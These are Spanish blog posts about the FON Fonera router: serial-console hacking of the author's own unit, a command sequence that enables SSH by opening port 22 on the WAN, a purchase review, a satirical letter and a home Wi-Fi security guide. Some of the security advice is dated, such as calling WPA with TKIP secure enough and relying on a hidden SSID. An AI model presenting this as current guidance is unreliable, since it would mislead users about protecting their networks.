fonera2Y ahora viene la parte frustante. Realicé las conexiones tal y como se explicaba en los artículos que he mencionado antes pero no conseguí que funcionara. El terminal recibía caracteres pero nada inteligible. Al principio pensé que se trataba de que había elegido mal la emulación del terminal o los parámetros de conexión y me pasé varias horas jugando con esto sin resultados positivos. Pero al final hubo varias cosas que me dieron la pista definitiva. Por un lado al escribir una orden que el router debería de reconocer (un reboot, por ejemplo) el cacharro actuaba en consecuencia, es decir “escuchaba” lo que yo escribía aunque yo no lo viera correctamente. Luego estaba lo que había leído sobre los niveles de tensión… parecía claro que el circuito no estaba correctamente alimentado y que había que alimentarlo externamente con 5v. Para ello hice una pequeña chapuza usando un cargador universal de móvil a través de USB que entrega exactamente 5v (y que me regalaron en no se que presentación de un producto comercial de Compuware… eso para quien piense que es una tontería ir a estas cosas :-)).

Vamos, pues, a explicar como queda el conexionado final:

fonera1

Vamos paso a paso. En el circuito que hemos preparado hemos dejado cuatro pines: dos de alimentación y otros dos para las señales de transmisión (tx) y recepción (rx). Los colores que he usado son los siguientes:

fonera5

  • Rojo para el positivo de alimentación (+5v).

  • Negro para el común (GND).
  • Verde para la señal de transmisión (tx).
  • Blanco para la señal de recepción (rx).

Los hilos de transmisión y recepción van conectados directamente entre nuestro circuito y la fonera en los pines que se ven en la foto de la derecha. Alimentamos nuestro circuito con la salida que nos da el cargador-USB y unimos los comunes de ambos circuitos. Encendemos la fonera, conectamos desde nuestro emulador de terminal favorito (9600,8,N,1 y sin control de flujo). Et voilà. La secuencia completa de este arranque la teneis aquí.

Ahora ya sólo nos resta hacer las modificaciones pertinentes para tener acceso a ella a través de ssh y no tener que volver a usar este engorroso procedimiento. Jauzsi explica muy bien lo que hay que hacer para ello:

  • mv /etc/init.d/dropbear /etc/init.d/S50dropbear

  • vi /etc/firewall.user
  • Quitamos los comentarios de las reglas que bloquean el acceso a través de ssh (puerto 22). Estas concretamente:
    ## -- This allows port 22 to be answered by (dropbear on) the router
    # iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
    # iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT
  • Salvamos los cambios (¡que no se os olvide!) y reiniciamos el router (reboot).

Y listo. Ya podemos desmontar el chiringuito. La próxima conexión a nuestra fonera la haremos como está mandado: por ssh.

    josemaria@valeria:/etc$ ssh root@192.168.1.3
    The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
    RSA key fingerprint is d1:85:26:37:10:88:80:24:47:e3:fe:74:29:b8:fd:82.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.
    root@192.168.1.3's password:

    BusyBox v1.1.3 (2006.08.17-19:56+0000) Built-in shell (ash)
    Enter 'help' for a list of built-in commands.

    _______ _______ _______
    | ____|| || _ |
    | ____|| - || | | |
    | | |_______||__| |__|
    |___|

    Fonera Firmware (Version 0.7.0 rev 4) -------------
    *
    * Based on OpenWrt - http://openwrt.org
    * Powered by FON - http://www.fon.com
    ---------------------------------------------------
    root@OpenWrt:~#

La fonera: primeras impresiones

Y bueno, al final yo también me he hecho con una. Mi caso entra dentro de esos muchos en los que este aparatito será, casi con toda seguridad, del todo inutil: vivo en un séptimo piso y aunque la ventana de mi cuarto de trabajo da a la calle y he puesto el router junto a ella no creo que la señal llegue al suelo ni de lejos. Tampoco serviría de mucho si lo hiciera porque lo único que hay es una calle de servicio sin comercios, ni bares, ni absolutamente ningún sitio dónde la señal sea provechosa. Bueno, si, un banco (de los de sentarse) y nada más… Pero bueno, que conste en actas que aunque no creo que FON llegue a ningún lado provechoso para una comunidad amplia de usuarios ni creo del todo en el proyecto y en su viabilidad permanezco cercano a él porque la idea de forma abstracta me parecio buena desde el primer momento… y porque me apetece jugar con el cacharro, que diablos. Pero empecemos desde el principio.

Solicité la compra de la fonera el día 3 de octubre y por el procedimiento ordinario. Aún no se habían lanzado las ofertas para usuarios de menéame y banda ancha pero tampoco creo que me hubiera acogido a ninguna de ellas a pesar de que soy usuario de ambos servicios desde casi sus orígenes: el coste del router es insignificante, imagino que los gastos de envío habría que pagarlos igualmente y sentía curiosidad por ver el trato que se da al usuario normal y la calidad de la logística contratada. A pesar de que el procedimiento de compra es rápido y claro y la forma de pago a través de PayPal es tan comoda como acostumbra no me gustó que una vez finalizado el proceso no recibí absolutamente ninguna notificación por correo por parte de FON. Personalmente prefiero los servicios de compra que, una vez finalizado el proceso, te envían un correo resumen de la operación y con un identificador de seguimiento de la operación para futuras referencias o reclamaciones. De otra forma me da la impresión de que es como si encargaras un objeto en una tienda y, a la espera de que lo reciban, te marcharas de allí sin un simple recibo o justificante de la operación que has hecho.

Una semana después (día 10 de octubre) no había recibido aún absolutamente ningún tipo de notificación del proceso así que les envíe una consulta a través del servicio de incidencias para saber en que estado estaba mi pedido y después de 48 horas de espera (día 13 de octubre… disculpamos el retraso contando con que el 12 era fiesta) recibí una escueta contestación con el identificador del envío a través de la compañía TNT para que lo comprobara por mi mismo. El correo llegó la misma tarde que una llamada telefónica de la empresa de mensajería pidiéndome fecha y hora para hacer la entrega. No se para que, porque solicité la entrega para el lunes 16 entre 17.00 y 19.00 de la tarde y no se presentaron en casa ni medio ninguna otra comunicación hasta el miércoles 18. A la hora que yo había señalado, eso si. Para colmo de males la caja venía empapada como si la hubieran sumergido en un cubo de agua. Ha llovido mucho esta semana pero a no ser que la trajeran en una pick-up descubierta tampoco me lo explico. Suspensos en logística vamos. Eso si, el chisme es realmente bonito y tiene un diseño externo muy cuidado y de apariencia sólida. Un punto a favor al menos en esto.

Pero antes de saltar a otra cosa un último punto que me desagradó: el día 20, menos de 48 horas después de recibir el envío, recibí un mail apremiándome de forma ridícula e imprecisa para que hiciera el registro del equipo:

Nos ponemos en contacto contigo para comentarte que en los próximos días vence el plazo de quince días para registrar tu Fonera. Una vez que la registres, obtendrás los premios de la promoción en la que has participado.

¿En los próximos días vence el plazo de quince días?¿cuántos son esos próximos días?¿a partir de que momento se cuentan? Ridículo vamos…

En cuanto al proceso de instalación y la documentación adjunta tampoco me quedo muy contento. No me voy a extender mucho en este terreno pero me choca que, por ejemplo, la documentación no indique como hacer la configuración sin usar una conexión inalámbrica y/o sin contar con un servidor DHCP. (Para quien le interese, esa información si está disponible en el foro de la empresa). Me resultó también particularmente feo que las guías de instalación estén totalmente orientadas al usuario de windows sin mencionar más que de pasada la posibilidad de que se quiera usar con otros sistemas. De acuerdo que el porcentaje mayoritario de usuarios tendrá algún tipo de windows y que la mayor parte de los usuarios de otros sistemas no necesitan de tantas ayudas, pero se echa de menos que un proyecto como este que, según sostiene, posee una sensibilidad especial hacía el software libre no le preste al menos un poco de presencia a las alternativas a los sistemas de Microsoft.

Pero bueno, echémosla a andar de una vez por todas a ver que tal. Mis referencias y puntos de comparación son los dispositivos que hay en la foto de aquí arriba: un router Comtrend CT-536+ y un punto de acceso D-Link DWL-2000AP. La fonera es, con diferencia, el que más se calienta y el más lento en arrancar (cerca de dos minutos) pero sorprendentemente y a pesar de lo ridícula que parece su antena es el que mejor alcance de señal tiene. No he tenido tiempo de comparar en las especificaciones técnicas la potencia con la que emiten la señal cada uno de ellos pero imagino que aquí reside su secreto.

La conexión que usa WEP debe de ser de algún vecino y las de FON son fácilmente reconocibles. Las otras son la del Comtrend (Valhalla) y la del DLink (La cueva de walker). En cualquier caso no es para tirar cohetes: la prueba está hecha en el salón de mi casa y a escasamente 10 metros de los puntos de acceso. Si me desplazo hasta la cocina (otros 10 metros aproximadamente) la señal se debilita hasta apenas el 5% y se corta de forma intermitente. Vamos que, como os decía, no creo que llegue a pie de calle ni de broma pero ya haré pruebas cuando deje de llover que ahora no apetece demasiado… 😉

Volviendo al plano físico, sentía bastante curiosidad en verla por dentro así que localicé los tornillos de la caja (ocultos bajo las dos ‘patitas’ delanteras) y le eché un vistazo a las tripas. Viendo que hay espacio de sobra para un disipador más eficiente y/o de mayor tamaño se entiende mucho menos el excesivo calentamiento del aparato, pero hace más de 12 años que no me dedico a temas de electrónica y tampoco soy un experto en estas materias así que no tengais demasiado en cuenta mi opinión en este aspecto.

  

Ahora bien, lo que si que me deja un terrible mal sabor de boca es que el equipo no pueda ser gobernado desde una conexión de red local por cable y que no sea accesible mediante ssh por defecto o, al menos, de una forma fácil y documentada por el fabricante. Me pregunto si es esta la configuración de un equipo que pretende ser social y abierto como dictan desde la publicidad de la empresa o la de uno que trata de que no se haga con el nada que su empresa no autorice previamente. En otro orden de cosas también creo importante en este tipo de equipos un botón de reset que permita devolver la configuración a los valores predeterminados en fábrica.

Por fortuna en cuanto al tema de habilitar el acceso a través de ssh ya hay varios posts por ahí como este de art-xtreme contando como solucionar este posible “error de fabricación”. Ayer tarde estuve de visita en Conectrol así que ya os cuento en unos días ;-).

Una cosa más antes de terminar: los mapas en los que se muestran los puntos activos tampoco parecen funcionar correctamente o al menos la velocidad de actualización de los mismos es bastante pobre porque mi fonera está registrada y activa desde ayer a media tarde y al terminar de escribir este post sigue apareciendo en naranja (inactiva) y leo en la información de dichos mapas que la última actualización se realizó a las 9.35 de hoy. Esperaré a la próxima pasada a ver si ya me ven…

ACTUALIZACI?N: A través de un comentario en el envío del artículo antes reseñado de art-extreme al menéame llego al hilo de un foro de DD-WRT donde Brainslayer, creador del OpenWRT y uno de los fichajes estrella de FON, se lamenta de la calidad de la fonera:

Due the bad quality of this device I do not plan any support right now. I will wait until I see a benefit in it.

I know. Thats the problem. Currently everything is running well on the broadcom line and I dont want to bring people onto another device which is not very good from my point of view

Recomiendo encarecidamente la lectura del mencionado hilo del foro de DD-WRT porque hay mucha información útil acerca del dispositivo. También parece leerse entre líneas que Brainslayer no está demasiado contento con su antigua empresa… O eso o últimamente veo demasiado “el tomate”, me temo 🙁

La campaña de vacaciones de FON es todo un éxito

Para partirse la salida publicitaria de FON para estas vacaciones.

Estimado vecino,

estas vacaciones las pasaré, como las anteriores, en el apartamento de al lado. Estoy muy a gusto allí, sin embargo, echo en falta mi conexión a internet. Pero vecino, estamos de suerte, porque en eso me puedes ayudar.

¡Puedes compartir con la red FON tu conexión wifi a internet! Si haces eso, podrás conectarte al resto de las conexiones compartidas en FON gratuitamente. Ya hay miles de ellas por todo el mundo, y cuando te vayas de vacaciones, de viaje de negocios, o cuando estés esperando en la peluquería, si allí también hay un punto FON, ¡tendrás conexión a internet gratis!

Si quieres (ya sabes que a mi me gustan estas cosas tecnológicas) ya te ayudo a configurar todo. Tan sólo deberás comprar un router wifi (ahora lo venden por 25? nada más).

Por eso, vecino, porque me conviene y te conviene, te pido que te hagas fonero. Visita la página de FON, y si tienes alguna duda pregúntame, ya me conozco todos los pasos a dar.

Un saludo fonero,

Tu vecino.

Y la respuesta del vecino

Estimado nuevo vecino:

Por si no te has dado cuenta estamos en Torrevieja, Alicante. Hoy es Domingo 15 de Agosto. Mi apartamento también es alquilado. Aquí no hay teléfono ni Internet, ni ganas, porque yo he venido aquí a tomar el sol, a emborracharme y a follar. Te recomiendo que hagas lo mismo, porque si una soleada mañana de domingo estás pensando en conectarte a internet, es que ni tienes resaca, ni estás en la playa ni anoche mojaste el churro. Pero vaya que cuando te vi llegar al apartamento de al lado con el portatil y la camiseta de Star Trek ya me lo olia.

Sobre lo de hacerme del PON ese para tener internet en la peluquería, como que va a ser que no. A mi me pela mi cuñao Paco con la maquinilla. Se lo voy a comentar a mi tia Pili que se pega tres horas a la semana haciendose los rulos, pero pa mi que a ella pa matar el tiempo con leerse el Hola ya va que se mata.

En el atico hay otro con portatil pero me da a mi que no va a ser porrompomero de eso porque me ha escrito otra carta como la tuya.

Nada chavalote, siento no poder ayudarte.

Un saludo,

el vecino de al lado.

PD. Si ves que no puedes pasar sin leer cosas frikis tengo aqui un catalogo de Ikea y un par de revistas guarras. Pasate a por ellos mañana pero a partir de las 6pm que esta noche he quedao con unas suecas y pa mi que me voy a acostar tardecito.

Creo que estos chicos necesitan a gritos un responsable de marketing. Lo antes posible, por favor…

ACTUALIZACI?N: Vaya, parece que me han hecho caso 😉

¿Son seguras las redes wi-fi?

Internet está plagada de tutoriales acerca de como crackear una red wi-fi. El último lo vi ayer en el menéame y es tan simple que no merece la pena siquiera echarle un vistazo pero raxor de bandaancha envió a los comentarios otro realmente bueno. En cualquier caso no es algo que parezca preocuparle a demasiada gente: a poco que nos paseemos por ahí podemos comprobar que existen centenares de personas dispuestas a hacerle la competencia a FON por su propia cuenta y riesgo.

Volviendo al título ¿son seguras las redes wi-fi? Si, sin duda. Una red wi-fi (con los dispositivos actuales) se puede configurar con relativamente muy poco esfuerzo de forma que sea absolutamente infranqueable para el 99,99% de los mortales. Y no vamos a tener la mala fortuna de que la simpática y guapa vecina del piso de al lado no sea la azafata que dice ser y disponga de tecnología secreta de la CIA y un super-ordenador para utilizarla. ¿Te has fijado si baja la intensidad de la luz de tus bombillas cuando ella llega a casa?

Hacer seguras las comunicaciones con un router wifi casero es bastante sencillo. Existen unas pocas de medidas que simplemente serviran para hacer desistir al vecino que se ha leído el útimo artículo de PC-WORLD pero que no está de más utilizar, a saber:

  • Ocultar el identificador (SSID) de nuestra red

  • Deshabilitar el DHCP del router y asignar direcciones manualmente a los dispositivos de nuestra red
  • Limitar el número de direcciones IP posibles en nuestra LAN (¿para que diablos queremos una clase C completa?)
  • Realizar filtrados de accesos por MAC

Aparte de estas ‘argucias’ existen dos medidas que son las que realmente nos garantizan la seguridad en nuestra red:

  • Asegurar el acceso a nuestro router.

  • Usar un protocolo seguro y correctamente configurado para el cifrado de las comunicaciones inalámbricas.

Sólo dos. No hace falta nada más.

Asegurar el acceso a nuestro router es bien sencillo. Lo primero que debemos de hacer es cambiar la contraseña de acceso al mismo. No seamos ‘rácanos’ en esto. Se trata de una contraseña que no tenemos que memorizar porque estará en nuestra casa y a salvo de miradas indiscretas. Basta con escribirla en un pos-it y guardarla pegada tras la portada de uno de nuestros libros favoritos, así que usaremos una cadena de caractéres absolutamente ininteligible del tamañó máximo permitido por nuestro router, generada automáticamente por un programa y que use letras mayúsculas y minúsculas, números y signos. Existen múltiples utilidades para esta labor: os indico una pero a vuestro aire. Una pequeña manía personal: yo elijo siempre una password que empieze por un símbolo en lugar de por una letra o número. Casi todos los programas que realizan ataques por fuerza bruta comienzan probando números y cifras así que esto retrasará unos cuantos meses el trabajo de tú vecina. A continuación debemos de limitar el acceso a la interfaz de configuración del router. Deberíamos de deshabilitar el acceso a través de la WAN (por motivos diferentes al tratado en este post) y, en cuanto a la LAN, limitaremos el acceso a la configuración del mismo exclusivamente a través de la IP de nuestro equipo (no olvideis que hemos tenido que deshabilitar anteriormente el DHCP y asignar IP’s manualmente)

La segunda medida absolutamente necesaria es el cifrado: olvidaros del WEP, por favor, y elegid WPA o WPA2. En este punto y, según vuestro router, os podeis encontrar diferentes opciones: WPA, WPA2, WPA-PSK, WPA-EAP, etc. ¿cuál diablos es la buena? Vayamos por partes.

WPA y WPA2 (Wi-Fi Protected Access) proporcionan autenticación en el acceso y privacidad en las comunicaciones. A grandes rasgos tienen dos modos de funcionamiento: el llamado “modo empresarial” o EAP (Extensible Authentication Protocol) que precisa de un servidor de autenticación externo y el modo personal o PSK (Pre Shared Key) que no lo necesita. Existen cinco standards diferentes de autenticación EAP cuyos detalles, si os interesan, podeis consultar aquí o aquí. La nomenclatura en los routers con los que he trabajado no suele ser demasiado clara: normalmente cuando sólo pone WPA se están refiriendo al modo empresarial y cuando lo hacen al modo personal pone WPA-PSK, pero en algunas ocaciones me he encontrado que el modo personal es WPA y el empresarial WPA-EAP. Un lío, pero para identificarlos basta una nota: si se están refiriendo al PSK nos exigirá una frase password mientras que si se refieren al EAP nos pedirá la dirección de un servidor de autenticación. ¿Fácil no?

Nos centramos en el PSK, pues. Todo lo dicho para la contraseña de administración del router es válido para la frase password que nos proporcionará la autenticación y que es necesario introducir en ambos extremos de la comunicación. Nada de elegir la ya manida “En un lugar de la mancha de cuyo nombre no quiero acordarme” ni, por supuesto la también muy explotada “Muchos años después, frente al pelotón de fusilamiento, el coronel Aureliano Buendía había de recordar aquella tarde remota en que su padre lo llevó a conocer el hielo”. Usad una frase o un dicho ‘familiar’ o usado entre vuestros amigos y que no tenga mucho significado fuera de vuestro entorno.

Como protocolos se suelen ofrecer dos opciones: TKIP o AES. ¿Cual elegimos? Si disponemos de las dos opciones en cliente y servidor AES, sin lugar a dudas, que es un verdadero algoritmo de cifrado. TKIP es, en realidad, un ‘apaño’ que se lanzó para reemplazar el cifrado usado por WEP sin necesidad de reemplazar el hardware. Pero no temais: se trata de un mecanismo suficientemente seguro (por el momento, al menos) para la labor que realiza.

Y por último ¿cuál es la diferencia entre WPA y WPA2? En la forma, WPA fue definido por la Wi-Fi alliance y WPA2 estandarizado por la IEEE en forma de la norma 802.11i. En el fondo se reemplazó el código de autenticación de mensajes que usaba WAP WPA (llamado Algoritmo de Michael) por CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) y RC4 es sustituido por AES como algoritmo de cifrado. Aquí los fabricantes también suelen introducir cierta confusión: me he encontrado routers que, por ejemplo, te permiten elegir WPA y AES o WPA2 y TKIP lo cual no es muy coherente pero teniendo las cosas claras la configuración es bien sencilla: preferimos WPA2 antes que WPA y AES por delante de TKIP aunque podemos estar tranquilos de que si escogemos una frase password adecuada la combinación más débil (WPA y TKIP) es lo suficientemente segura como para no tener que preocuparnos de nadie. Salvo de la vecina, ya sabeis…

Para quien, una vez configurado, quiera auditar la seguridad de sus comunicaciones existen dos herramientas básicas para ello: aircraft (disponible para GNU/LINUX y windows) y cowpatty un proyecto semiabandonado hecho en C standard e independiente de la plataforma.

ACTUALIZACI?N: Durante estos cinco años se ha encontrado alguna vulnerabilidad en WPA que lo hacen bastante menos seguro que WPA2. En Security by Default han publicado recientemente un buen resumen de las características de este último.